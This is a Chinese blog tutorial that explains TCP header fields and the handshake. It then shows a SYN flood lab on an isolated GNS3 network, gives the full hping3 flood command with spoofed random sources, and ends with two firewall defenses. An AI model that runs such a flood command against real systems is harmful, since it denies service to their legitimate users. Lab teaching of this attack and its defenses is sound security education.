TCP协议与TCP SYN Flood攻击
✍作者:柒烨带你飞
💪格言:生活的情况越艰难,我越感到自己更坚强;我这个人走得很慢,但我从不后退。
📜系列专栏:网络安全从菜鸟到飞鸟的逆袭
目录
- 一, TCP握手
- 二,常用的TCP端口号及其功能
- TCP SYN Flood攻击原理
- 一,实施TCP SYN Flood攻击
- 实验步骤
- 1. 基本环境配置
- GNS3
- Kali linux
- win-sever2016
- 2 实施TCP SYN Flood 攻击
- 二,防御 SYN Flood
- TCP报文段
-
字段含义 TCP(传输控制协议)_百度百科
-
TCP源端口(Source port):计算机上的应用程序的端口号,占16位
-
TCP目的端口(Destination port):目标计算机的应用程序端口号,占16位
-
Sequence Number是发送数据包中的第一个字节的序列号,32位。
-
④ Acknowledgment Number是确认序列号,32位。
-
⑤ Data Offset是数据偏移,4位,该字段的值是TCP首部(包括选项)长度除以4。
-
⑥ Reserved 是保留位,4位,为将来使用而保留的一组控制位。在生成段中必须为零。
-
⑦ 控制位(标志位): 6位, CWR 表示减少拥塞窗口 ECE 表示从对方到本方的网络有拥塞
-
URG表UrgentPointer字段有实际意义 ACK表示Acknowledgment Number字段有实际意义 PSH表示Push功能 RST表示复位TCP连接 SYN表示SYN报文(在建立TCP连接的时候使用) FIN表示数据发送完毕(在关闭TCP连接的时候使用)
-
⑧ Window表示接收缓冲区的空闲空间,16位,用来告诉TCP连接对端自己能够接收的最大数据长度。
-
⑨ Checksum是校验和,16位。
-
⑩ Urgent Pointers是紧急指针,16位,只有URG标志位被设置时该字段才有意义,表示紧急数据相对序列号(SequenceNumber字段的值)的偏移。
一, TCP握手
-
第1次握手建立连接时,客户端向服务器发送 SYN 报文(SEQ=x,SYN=1),并进入 SYN SENT 状态,等待服务器确认
-
第二次握手SYN+ACK(请求和确认)报文
- 服务器收到客户端请求,向客户端回复一个确认信息ACK=x+1
- 服务器再向客户端发送一个SYN包建立连接的请求,此时服务器进入SYN_PECV
-
第三次握手,客户端收到服务器的回复(SYN+ACK)。此时客户端向服务器发送确认包(ACK)。此包发送完毕,客户端和服务器进入ESTABLISHED
-
四次握手断开连接,这里就不抓包了
-
TCP半关闭状态
- TCP连接只有一方发送了FIN,另一方没有发出FIN包,仍然可以在一个方向上正常发送数据
-
TCP半连接状态
- 发生在TCP3次握手中。如果客户端向服务端发起TCP请求,服务端也按照正常情况进行响应了,但是客户端不进行第3次握手,这就是半连接。半连接,会造成服务端分配的内存资源就一直这么耗着,直到资源耗尽(也就是常听说的SYN洪水攻击的原理)
二,常用的TCP端口号及其功能
TCP SYN Flood攻击原理
在正常的 TCP 连接建立中,客户端先发送 SYN 报文,服务器回应 SYN + ACK 报文,客户端再发送 ACK 报文完成连接建立。若一定时间内得不到客户端回应,服务器会放弃未完成连接,这是 TCP 的重传机制。而在 SYN Flood 攻击中,攻击者向服务器发送大量 SYN 报文,服务器回应后攻击者不再回应 ACK 报文,导致服务器上产生大量半连接,耗尽服务器资源,使正常请求无法得到回应(其他用户无法访问网页等)。
- 攻击者通常会伪造源IP地址,发送大量来源地址经过伪装而且无法通过路由达到的SYN连接请求至目标主机提供TCP服务的端口。现行的IP路由机制仅检查目的IP地址并进行转发,当服务器按照IP报头中的来源地址返回SYN/ACK置位的数据包时,由于源IP是伪造的,这些数据包无法到达真正的源地址(实际上不存在这样的源),也就不会收到对应的ACK回复,从而使目的主机的TCP缓存队列被填满,达到攻击目的
- 攻击成本低:很小的开销就可以发动庞大的攻击,时至今日仍然很猖獗1。
- 简单易行:借助一些工具(如在Kali Linux下可以使用hping3等工具),黑客可以相对轻松地实施攻击,通过发送大量伪造的SYN包来达到攻击效果
一,实施TCP SYN Flood攻击
- 实验环境
-
GNS3:一台路由器,两个Cloud(添加VMnet1接口)
-
一台Kali Linux(包含工具hping3)网络适配器设置为VMnet1 仅主机模式。
- ip配置:192.168.1.50/24
- 网关:192.168.1.254
-
一台Windows server 2016 (开启基于TCP)网络适配器设置为VMnet1 仅主机模式。
- ip配置192.168.20.33/24
- 网关:192.168.20.254
-
实验步骤
1. 基本环境配置
GNS3
两个云添加VMnet1接口,连接路由器,启动R1,给路由器两个接口配上IP地址即可
Kali linux
进入Root模式命令窗口,配置静态IP
vim /etc/network/interfaces //进入文件里面配置静态ip
//输入 a 插入模式
auto eth0
iface eth0 inet static
address 192.168.1.50
netmask 255.255.255.0
gateway 192.168.1.254 //R1 f0/0的那个接口地址
//按键盘上的(ESC按键)
//然后输入冒号::wq
//:wq表示退出保存
----------------------------
//开关一下接口,刷新ip
ifup eht0 //开启
ifdown eth0 //关闭
ifup eth0 //开启
配置完成,能ping通192.168.1.254
win-sever2016
win+R cmd命令配置静态IP
netsh interface ip set address ethernet0 static 192.168.20.33 255.255.255.0 192.168.20.254
//192.168.20.33 255.255.255.0 192.168.20.254 IP地址-子网掩码-网关(R1 f0/1的IP地址)
-
配置完成,ping一下.254能ping通
-
打开服务器管理器,添加功能Web服务器(IIS),其他界面都点击下一步,安装就好
-
安装完成,在windows管理工具下有个IIS管理器,打开,浏览你内部网络中的网站,因为没配置前端后端代码,网页是最原始的
-
kali也能能成功访问网站
2 实施TCP SYN Flood 攻击
先提前去GNS3,打开抓包
hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.20.33
/*
-c 10000 发送数据包的流量
-d 120 发送到目标机器的每个数据包的大小
-S 只发送SYN数据包(注意是大写S)
-w 64 TCP窗口大小
-p 80 目的地端口(80是http端口)
--flood 快速发送数据包,不需要考虑显示入站回复,洪水攻击模式
--rand-source 使用随机性的源头IP地址
192.168.20.33 目标IP地址(外网IP地址也可)或域名
*/
- 在服务器上抓取的流量,可以看出Kali Linux 伪造了很多IP地址向SYN发送请求,这个黑色报文,就是因为网络堵塞造成的
抓包的报文
二,防御 SYN Flood
1、使用TCP代理
TCP代理是指我们的防火墙部署在客户端和服务器中间,当客户端向服务器发送的SN报文经过防火墙时,防火墙代替服务器与客户端建立三次握手。一般用于报文来回路径一致的场景。工作过程防火墙收到SYN报文,对SYN报文进行拦截,代替服务器回应SYN+ACK报文,.如果客户端不能正常回应ACK报文,则判定此SVN报文为非正常报文,防火墙代替服务器保持半连接一定时间后,放弃此连接。如果客户端正常回应ACK报文,防火墙与客户端建立正常的三次握手,则判定此SYN报文为正常业务报文,非攻击报文。防火墙立即与服务器再建立三次握手,此连接的后续报文直接送到服务器,整个TCP代理的过程对于客户端和服务器都是透明的。.
2、TCP源探测
·TCP源探测是防火墙防御SYN Food攻击的另一种方式,没有报文来回路径必须一致的限制,所以应用普遍。工作过程当防火墙收到客户端发送的SYN报文时,对SYN报文进行拦载,并伪造一个带有错误序列号的的SYN+ACK报文回应给客户端.如果客户端是虚假源,则不会对错误的SYN+ACK报文进行回应。.如果客户端是真实源发送的正常请求SYN报文,当收到错误的SYN+ACK报文时,会再发出一个RST报文,让防火墙重新发一个正。确的SYN+ACK报文;防火墙收到这个RST报文后,判定客户端为真实源,则将这个源加入白名单,在白名单老化前,这个源发出的报文都认为是合法的报文,防火墙直接放行,不在做验证。
博主的其他系列专栏📜📜📜
- 1 环境配置集合
- 2 C语言小实例项目
- 3 HTML入门 + 实战小案例
创作不易,😊如果觉得文章不错或能帮助到你学习,可以点赞👍收藏📁评论📒+关注哦!留下你的看法和建议💕
我们下期见✍️